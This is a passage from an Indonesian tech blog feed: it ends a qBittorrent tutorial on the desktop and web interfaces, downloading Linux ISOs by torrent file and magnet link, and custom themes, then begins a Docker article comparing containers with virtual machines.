&lt;/span&gt;&lt;span&gt;qbittorrent&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qbittorrent-nox&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;qbittorent&lt;/code&gt; adalah package untuk QBitTorrent versi GUI.&lt;br /&gt;
&lt;code&gt;qbittorrent-nox&lt;/code&gt; adalah package untuk QBitTorrent versi Web.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Usage&lt;a href=&quot;#usage&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;&lt;code&gt;qbittorent&lt;/code&gt; UI&lt;a href=&quot;#qbittorent-ui&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah penampakan &lt;code&gt;qbittorrent&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;qbittorrent UI&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;748&quot; src=&quot;/_astro/ss5.CpHFHH8T_1Wd4py.webp&quot; /&gt;&lt;figcaption&gt;qbittorrent UI&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat, setidaknya ada 3 bagian penting yang ingin saya &lt;em&gt;highlight&lt;/em&gt; pada UI (&lt;em&gt;User Interface&lt;/em&gt;) &lt;code&gt;qbittorrent&lt;/code&gt; ini:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Menu bar&lt;/strong&gt;: Berada di bagian paling atas (File, Edit, View, Tools, Help).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tool bar&lt;/strong&gt;: Berada di bawah Menu bar, terdapat icon-icon unik yang berwarna.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dashboard&lt;/strong&gt;: Bagian paling besar di tengah. Ada 3 menu utama:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Transfers&lt;/strong&gt;: Menampilkan informasi mengenai proses &lt;em&gt;downloading&lt;/em&gt; dan &lt;em&gt;seeding&lt;/em&gt;. Beberapa menu lain dalam bagian ini bisa kita lihat dan eksplorasi ada di bagian kiri (Status, Categories, Tags, Trackers) dan bagian bawah (General, Trackers, Peers, HTTP Source, Content, Speed).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Search&lt;/strong&gt;: Menampilkan hasil pencarian file torrent. Perlu &lt;em&gt;install&lt;/em&gt; plugin.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Execution Log&lt;/strong&gt;: Menampilkan log (catatan proses operasi yang terjadi di &lt;code&gt;qbittorrent&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Selain itu, di bagian bawah, aplikasi ini juga menampilkan &lt;em&gt;IP Address&lt;/em&gt; kalian (baik IPv4 maupun IPv6), berikut dengan kecepatan internet yang kalian miliki (&lt;em&gt;upload&lt;/em&gt; &amp;amp; &lt;em&gt;download&lt;/em&gt;).&lt;/p&gt;&lt;p&gt;Menurut saya, fitur paling menarik dari &lt;code&gt;qbittorrent&lt;/code&gt; versi desktop ini adalah fitur &lt;strong&gt;“lock”&lt;/strong&gt;-nya. Melalui fitur tersebut, kita dapat mengunci aplikasi &lt;code&gt;qbittorrent&lt;/code&gt; desktop ini. Nanti, window-nya akan ter-&lt;em&gt;minimize&lt;/em&gt; sehingga kalau kita ingin membukanya kembali, kita akan diminta &lt;em&gt;password&lt;/em&gt;. Tentu saja, sebelum menggunakan fitur ini, kita perlu membuat password-nya terlebih dahulu. Berikut demonstrasi penggunaan fitur ini:&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;&lt;code&gt;qbittorent-nox&lt;/code&gt; UI&lt;a href=&quot;#qbittorent-nox-ui&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah penampakan &lt;code&gt;qbittorrent-nox&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;qbittorrent-nox UI&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;748&quot; src=&quot;/_astro/ss6.Du0qMnyY_Z2duzH1.webp&quot; /&gt;&lt;figcaption&gt;qbittorrent-nox UI&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;qbittorrent-nox&lt;/code&gt; adalah versi &lt;code&gt;qbittorrent&lt;/code&gt; yang diakses melalui Web. Oleh karena itu, seperti teman-teman lihat, saya membukanya melalui web browser (&lt;a href=&quot;https://brave.com/&quot; target=&quot;_blank&quot;&gt;Brave&lt;/a&gt;). Secara default, &lt;code&gt;qbittorrent-nox&lt;/code&gt; dapat diakses di port 8080, dengan &lt;em&gt;username&lt;/em&gt; &amp;amp; &lt;em&gt;password&lt;/em&gt; yang disediakan ketika kita menjalankannya melalui terminal. Berikut adalah demonstrasi penggunaan &lt;code&gt;qbittorrent-nox&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;Secara fungsi tidak ada bedanya dengan &lt;code&gt;qbittorrent&lt;/code&gt; versi desktop. Hanya saja, terdapat fitur yang secara kasat mata bisa langsung kita identifikasi tidak ada di &lt;code&gt;qbittorrent-nox&lt;/code&gt;, tapi ada di &lt;code&gt;qbittorrent&lt;/code&gt; biasa, yaitu fitur &lt;strong&gt;“lock”&lt;/strong&gt;-nya. Itulah mengapa tadi saya sempat katakan bahwa fitur tersebut adalah fitur yang menarik. Namun, keunggulan &lt;code&gt;bittorrent-nox&lt;/code&gt; adalah, dia dapat diakses melalui web, artinya, kita bisa berbagi aplikasi ini kepada orang-orang yang kita inginkan di dalam jaringan, dan tetap aman, karena memerlukan akses ke kredensial (&lt;em&gt;username&lt;/em&gt; &amp;amp; &lt;em&gt;password&lt;/em&gt;) ketika ingin membukanya.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Torrenting&lt;a href=&quot;#torrenting&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sekarang, saya akan mendemonstrasikan cara menggunakan &lt;code&gt;qbittorrent&lt;/code&gt; untuk &lt;em&gt;torrenting&lt;/em&gt;, baik menggunakan file torrent (.torrent) maupun dengan magnet link.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Torrent File (.torrent )&lt;a href=&quot;#torrent-file-torrent-&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk file torrent (.torrent) yang akan saya gunakan adalah file torrent iso Kali Linux yang saya dapatkan dari Website Resmi Kali Linux di alamat ini:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://cdimage.kali.org/kali-2026.1/kali-linux-2026.1-installer-netinst-amd64.iso.torrent&quot; target=&quot;_blank&quot;&gt;https://cdimage.kali.org/kali-2026.1/kali-linux-2026.1-installer-netinst-amd64.iso.torrent&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Sebetulnya, kita bisa inspeksi isi file torrent (.torrent) tersebut dengan &lt;em&gt;tool&lt;/em&gt; &lt;a href=&quot;https://github.com/rndusr/torf-cli&quot; target=&quot;_blank&quot;&gt;&lt;code&gt;torf-cli&lt;/code&gt;&lt;/a&gt;. Dengan perintah tersebut, kita dapat mengetahui bahwa file torrent (.torrent) mengandung informasi penting, seperti &lt;strong&gt;hash&lt;/strong&gt; dan juga sebetulnya ada &lt;strong&gt;manget link&lt;/strong&gt;-nya.&lt;/p&gt;&lt;p&gt;Perintahnya:&lt;/p&gt;&lt;p&gt;&lt;code&gt;torf -N https://cdimage.kali.org/kali-2026.1/kali-linux-2026.1-installer-netinst-amd64.iso.torrent&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Outputnya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;inspecting .torrent file using torf-cli&quot; loading=&quot;lazy&quot; width=&quot;1090&quot; height=&quot;331&quot; src=&quot;/_astro/ss9.DzaN_RQ8_4DJej.webp&quot; /&gt;&lt;figcaption&gt;inspecting .torrent file using torf-cli&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;  Untuk alasan kemudahan, saya akan gunakan &lt;code&gt;qbittorrent&lt;/code&gt;.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Berikut langkah-langkahnya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Buka aplikasi &lt;code&gt;qbittorrent&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Klik icon “Plus” (Add Torrent File) untuk menambahkan file torrent.&lt;/li&gt;
&lt;li&gt;Pilih file torrent (.torrent) yang sudah di-&lt;em&gt;download&lt;/em&gt; sebelumnya. Klik “Open”.&lt;/li&gt;
&lt;li&gt;Muncul Window baru. Perhatikan lokasi tempat file-nya akan disimpan. Klik “Ok”.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut demonstrasinya:&lt;/p&gt;&lt;p&gt;Perhatikan, ketika proses &lt;em&gt;download&lt;/em&gt; sedang berjalan, kita bisa melihat-lihat informasi dari menu-menu yang ada, terutama di bagian bawah:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;General:&lt;/strong&gt; Menampilkan informasi tentang file yang di-&lt;em&gt;hover&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trackers&lt;/strong&gt;: Menampilkan informasi tentang Trackers di jaringan.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Peers&lt;/strong&gt;: Menampilkan informasi &lt;em&gt;peers&lt;/em&gt; (&lt;em&gt;leechers&lt;/em&gt; &amp;amp; &lt;em&gt;seeders&lt;/em&gt;) di jaringan.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTP Sources&lt;/strong&gt;: Menampilkan informasi sumber filenya.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Content&lt;/strong&gt;: Menampilkan informasi progress file yang sedang di-&lt;em&gt;download&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Speed&lt;/strong&gt;: Menampilkan informasi mengenai kecepatan internet kita (&lt;em&gt;upload&lt;/em&gt; &amp;amp; &lt;em&gt;download&lt;/em&gt;).&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Perhatikan!&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Ketika menampilkan menu &lt;strong&gt;Peers&lt;/strong&gt;, di sana terlihat beberapa informasi peers (&lt;em&gt;seeders&lt;/em&gt; &amp;amp; &lt;em&gt;leechers&lt;/em&gt;) yang terkait dengan file iso Kali Linux yang sedang kita unduh ini. Informasi yang ditampilkan bahkan cukup detail, mulai dari:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Asal negara&lt;/li&gt;
&lt;li&gt;IP &lt;em&gt;address&lt;/em&gt; &amp;amp; port&lt;/li&gt;
&lt;li&gt;Koneksi yang digunakan&lt;/li&gt;
&lt;li&gt;Software yang digunakan&lt;/li&gt;
&lt;li&gt;etc&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Oleh karena itu, agar IP &lt;em&gt;address&lt;/em&gt; kita tidak mudah diketahui oleh &lt;em&gt;peers&lt;/em&gt;, alangkah baiknya kita menggunakan VPN terlebih dahulu sebelum melakukan &lt;em&gt;torrenting&lt;/em&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Magnet Link&lt;a href=&quot;#magnet-link&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk magnet link yang akan saya gunakan adalah magnet link iso Arch Linux yang saya dapatkan dari Website Resmi Arch Linux di alamat ini:&lt;/p&gt;&lt;p&gt;magnet:?xt=urn:btih&amp;lt;157e0a57e1af0e1cfd46258ba6c62938c21b6ee8&amp;gt;&amp;amp;dn=archlinux-2026.04.01-x86_64.iso&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Untuk alasan kemudahan, saya akan gunakan &lt;code&gt;qbittorrent&lt;/code&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Berikut langkah-langkahnya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Buka aplikasi &lt;code&gt;qbittorrent&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Klik icon “Link” (Add Torrent Link) untuk menambahkan magnet link.&lt;/li&gt;
&lt;li&gt;Paste-kan magnet link Arch Linux iso yang ada di atas. Klik “Download”.&lt;/li&gt;
&lt;li&gt;Muncul Window baru. Perhatikan lokasi tempat file-nya akan disimpan. Klik “Ok”.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut demonstrasinya:&lt;/p&gt;&lt;p&gt;Selebihnya, tidak ada perbedaan yang signifikan. Perbedaan utama antara torrent file dan magnet link hanya ada cara mulai men-&lt;em&gt;download&lt;/em&gt;-nya saja.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Custom Theme&lt;a href=&quot;#custom-theme&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk keperluan estetika, kita juga dapat mengkustomisasi tampilan warna (&lt;em&gt;theme&lt;/em&gt;) dari &lt;code&gt;qbittorrent&lt;/code&gt;. Misalnya, di tutorial ini, saya akan mengganti tema-nya dari default ke warna hitam.&lt;/p&gt;&lt;p&gt;Berikut adalah langkah-langkahnya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Cari tema &lt;code&gt;qbittorrent&lt;/code&gt; yang tersedia di internet.&lt;/li&gt;
&lt;li&gt;Simpan file tema-nya (.qbtheme) di direktori &lt;code&gt;~/.config/qBittorrent&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Buka qbittorrent &amp;gt; Tools &amp;gt; Preferences.&lt;/li&gt;
&lt;li&gt;Ceklis “Use Custom UI Theme”. Cari file (.qbtheme) yang sudah di-&lt;em&gt;download&lt;/em&gt; tadi.&lt;/li&gt;
&lt;li&gt;Klik “Apply. Klik “Ok”.&lt;/li&gt;
&lt;/ol&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;br /&gt;
Daftar tema &lt;code&gt;qbittorrent&lt;/code&gt; yang bisa digunakan bisa dilihat di sini:&lt;br /&gt;
&lt;a href=&quot;https://github.com/qbittorrent/qBittorrent/wiki/List-of-known-qBittorrent-themes&quot; target=&quot;_blank&quot;&gt;https://github.com/qbittorrent/qBittorrent/wiki/List-of-known-qBittorrent-themes&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Ini adalah &lt;code&gt;qbittorrent&lt;/code&gt; saya dengan tema default:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;qbittorrent default&quot; loading=&quot;lazy&quot; width=&quot;1160&quot; height=&quot;673&quot; src=&quot;/_astro/ss7.CHfZDWVc_ZRi5FG.webp&quot; /&gt;&lt;figcaption&gt;qbittorrent default&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Ini adalah &lt;code&gt;qbittorrent&lt;/code&gt; saya dengan tema black:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;qbittorrent black theme (customized)&quot; loading=&quot;lazy&quot; width=&quot;1157&quot; height=&quot;670&quot; src=&quot;/_astro/ss8.CHhumb58_Z6cfWa.webp&quot; /&gt;&lt;figcaption&gt;qbittorrent black theme (customized)&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Demikian.&lt;br /&gt;
Semoga bermanfaat.&lt;br /&gt;
Terima kasih.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;Artikel ini ditulis di Archlinux dengan kombinasi Wayfire + Waybar: (&lt;em&gt;click to enlarge&lt;/em&gt;)&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img alt=&quot;vista1&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;768&quot; src=&quot;/_astro/archlinux1.DgzUasHA_Z19iYWf.webp&quot; /&gt;&lt;figcaption&gt;vista1&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img alt=&quot;vista2&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;768&quot; src=&quot;/_astro/archlinux2.BxRIFB1K_cBkTm.webp&quot; /&gt;&lt;figcaption&gt;vista2&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://protonvpn.com/blog/ultimate-guide-to-torrenting&quot; target=&quot;_blank&quot;&gt;https://protonvpn.com/blog/ultimate-guide-to-torrenting&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1-2&quot;&gt;↩&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://filesignature.org/torrent&quot; target=&quot;_blank&quot;&gt;https://filesignature.org/torrent&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://jakarta.telkomuniversity.ac.id/jaringan-peer-to-peer-p2p-pengertian-dan-cara-kerja/&quot; target=&quot;_blank&quot;&gt;https://jakarta.telkomuniversity.ac.id/jaringan-peer-to-peer-p2p-pengertian-dan-cara-kerja/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.wireshark.org/BitTorrent&quot; target=&quot;_blank&quot;&gt;https://wiki.wireshark.org/BitTorrent&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/@abhinavcv007/bittorrent-part-1-the-engineering-behind-the-bittorrent-protocol-04e70ee01d58&quot; target=&quot;_blank&quot;&gt;https://medium.com/@abhinavcv007/bittorrent-part-1-the-engineering-behind-the-bittorrent-protocol-04e70ee01d58&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.privacytools.io/open-source-torrent-clients&quot; target=&quot;_blank&quot;&gt;https://www.privacytools.io/open-source-torrent-clients&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-6&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Docker: A Powerful Containerization Platform (+ Lazydocker)</title><link>https://shangdi.github.io/posts/tech/docker/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/docker/</guid><description>Deploying software often requires bunch of resources. However, the emergence of containerization platforms such as Docker has made it more convenient and docile, yet your software works flawlessly.</description><pubDate>Mon, 13 Apr 2026 06:36:10 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Docker&lt;a href=&quot;#docker&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;At A Glance&lt;a href=&quot;#at-a-glance&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pernahkah kalian mendengar &lt;a href=&quot;https://www.docker.com/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Docker&lt;/strong&gt;&lt;/a&gt;?&lt;/p&gt;&lt;p&gt;Jika kalian adalah &lt;em&gt;software developer&lt;/em&gt; atau minimal seorang &lt;em&gt;tech-enthusiast&lt;/em&gt; seperti saya, sudah dipastikan kalian tau Docker. Tapi, biarkan saya tetap menjelaskan Docker di artikel ini.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;What is Docker?&lt;a href=&quot;#what-is-docker&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Docker adalah sebuah layanan &lt;em&gt;open-source&lt;/em&gt; yang menyediakan kemampuan untuk mengemas dan menjalankan sebuah aplikasi dalam lingkungan terisolasi yang disebut sebagai “&lt;em&gt;container&lt;/em&gt;”.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Docker memungkinkan kita untuk menjalankan &lt;em&gt;software&lt;/em&gt; yang tidak bergantung pada dependensi yang terpasang di host.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Dengan demikian, proses pengembangan &lt;em&gt;software&lt;/em&gt; menjadi lebih cepat.&lt;/p&gt;&lt;p&gt;Sejarahnya, Docker pertama kali diperkenalkan ke publik pada acara PyCon di tahun 2013 oleh pembuatnya, yaitu Solomon Hykes.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; Di tahun-tahun berikutnya, perkembangan Docker di banyak sistem operasi mulai masif. Misalnya, di tahun 2016, Docker untuk Mac dan Windows rilis ke publik.&lt;/p&gt;&lt;p&gt;Apa itu &lt;em&gt;container&lt;/em&gt;? Kita akan lihat apa itu container sambil membandingkannya dengan &lt;em&gt;Virtual Machine&lt;/em&gt; (VM) di bawah ini.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Container vs Virtual Machine (VM)&lt;a href=&quot;#container-vs-virtual-machine-vm&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;em&gt;Container&lt;/em&gt; adalah &lt;em&gt;software&lt;/em&gt; yang mengemas/membungkus kode berikut dengan dependensinya sehingga sebuah aplikasi dapat berjalan dengan cepat dan dapat diandalkan (&lt;em&gt;reliable&lt;/em&gt;) meskipun di &lt;em&gt;environment&lt;/em&gt; yang berbeda.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; Selain Docker, Podman adalah salah satu platform kontainerisasi juga.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Salah satu permasalahan di dunia &lt;em&gt;software development&lt;/em&gt; adalah ketidak-&lt;em&gt;compatible&lt;/em&gt;-an sebuah aplikasi dengan lingkungan barunya.&lt;/p&gt;&lt;p&gt;Contohnya, ketika saya mengembangkan (re: membuat) sebuah aplikasi &lt;em&gt;online chatting&lt;/em&gt;, saya tentu membuatnya di komputer atau laptop pribadi saya (intinya satu komputer). Akan tetapi, ketika saya ingin agar aplikasi tersebut di-test atau bahkan diproduksi (dirilis), aplikasi tersebut akan berpindah lingkungan (komputer) yang berbeda-beda, mulai dari sistem operasinya, arsitekturnya, versinya, dan lain sebagainya. Dengan demikian, aplikasi saya tersebut memiliki kemungkinan tidak berjalan dengan baik di lingkungan barunya tersebut. Solusi konvensionalnya adalah, saya sebagai &lt;em&gt;developer&lt;/em&gt;-nya, perlu membuat banyak versi dari aplikasi &lt;em&gt;online chatting&lt;/em&gt; tersebut agar dapat berjalan dengan baik di lingkungannya masing-masing. Misalnya, aplikasi versi Linux, aplikasi versi Mac, dan aplikasi versi Windows.&lt;/p&gt;&lt;p&gt;Nah, dengan adanya &lt;em&gt;containerization&lt;/em&gt; (sistem kontainer) ini, saya tidak perlu mengkhawatirkan permasalahan di atas dan dapat membuat satu aplikasi saja. Sebab, saya dapat meng-kontainerisasi (membuat image container) aplikasi saya tersebut ketika akan di-test atau di-&lt;em&gt;deploy&lt;/em&gt; ke produksi (dirilis). Dengan adanya sistem containerization ini, semua orang di sistem yang berbeda akan tetap dapat menjalankan aplikasi &lt;em&gt;online chatting&lt;/em&gt; saya itu tanpa harus terkendala sistem operasi yang berbeda, arsitektur yang berbeda, versi yang berbeda, dan lain sebagainya.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;Virtual Machine&lt;/em&gt; di sisi lain adalah sebuah virtualisasi atau emulasi dari komputer fisik.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt; &lt;em&gt;Virtual machine&lt;/em&gt; memungkinkan kita untuk menjalankan banyak sistem operasi dalam satu sistem operasi saja. &lt;em&gt;Software&lt;/em&gt; yang meng-&lt;em&gt;handle&lt;/em&gt; proses virtualisasi ini disebut &lt;strong&gt;Hypervisor&lt;/strong&gt;. Beberapa &lt;em&gt;hypervisor&lt;/em&gt; yang populer ada Virtualbox, VMWare, dan Virt-Manager.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Berikut adalah perbandingan &lt;em&gt;Container&lt;/em&gt; &amp;amp; &lt;em&gt;Virtual Machine&lt;/em&gt;:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.docker.com/resources/what-container/&quot; target=&quot;_blank&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://www.docker.com/resources/what-container/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Container VS Virtual Machine.&quot; loading=&quot;lazy&quot; width=&quot;1067&quot; height=&quot;434&quot; src=&quot;/_astro/ss1.Bqxol9yH_1a0QNU.webp&quot; /&gt;&lt;figcaption&gt;Container VS Virtual Machine.&lt;/figcaption&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;





































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Aspek&lt;/th&gt;&lt;th&gt;Container&lt;/th&gt;&lt;th&gt;Virtual Machine (VM)&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Arsitektur&lt;/td&gt;&lt;td&gt;Berbagi kernel host OS&lt;/td&gt;&lt;td&gt;Menggunakan hypervisor + guest OS&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Ukuran&lt;/td&gt;&lt;td&gt;Ringan (MB)&lt;/td&gt;&lt;td&gt;Lebih besar (GB)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Waktu startup&lt;/td&gt;&lt;td&gt;Sangat cepat (detik)&lt;/td&gt;&lt;td&gt;Lebih lambat (menit)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Isolasi&lt;/td&gt;&lt;td&gt;Isolasi proses (lebih ringan)&lt;/td&gt;&lt;td&gt;Isolasi penuh (lebih kuat)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Kinerja&lt;/td&gt;&lt;td&gt;Mendekati native (lebih efisien)&lt;/td&gt;&lt;td&gt;Ada overhead dari hypervisor&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Portabilitas&lt;/td&gt;&lt;td&gt;Sangat tinggi (mudah dipindahkan)&lt;/td&gt;&lt;td&gt;Lebih kompleks&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Resource usage&lt;/td&gt;&lt;td&gt;Lebih hemat resource&lt;/td&gt;&lt;td&gt;Lebih boros resource&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Sistem operasi&lt;/td&gt;&lt;td&gt;Berbagi OS host&lt;/td&gt;&lt;td&gt;Bisa menjalankan OS berbeda&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Keamanan&lt;/td&gt;&lt;td&gt;Lebih rendah dibanding VM&lt;/td&gt;&lt;td&gt;Lebih 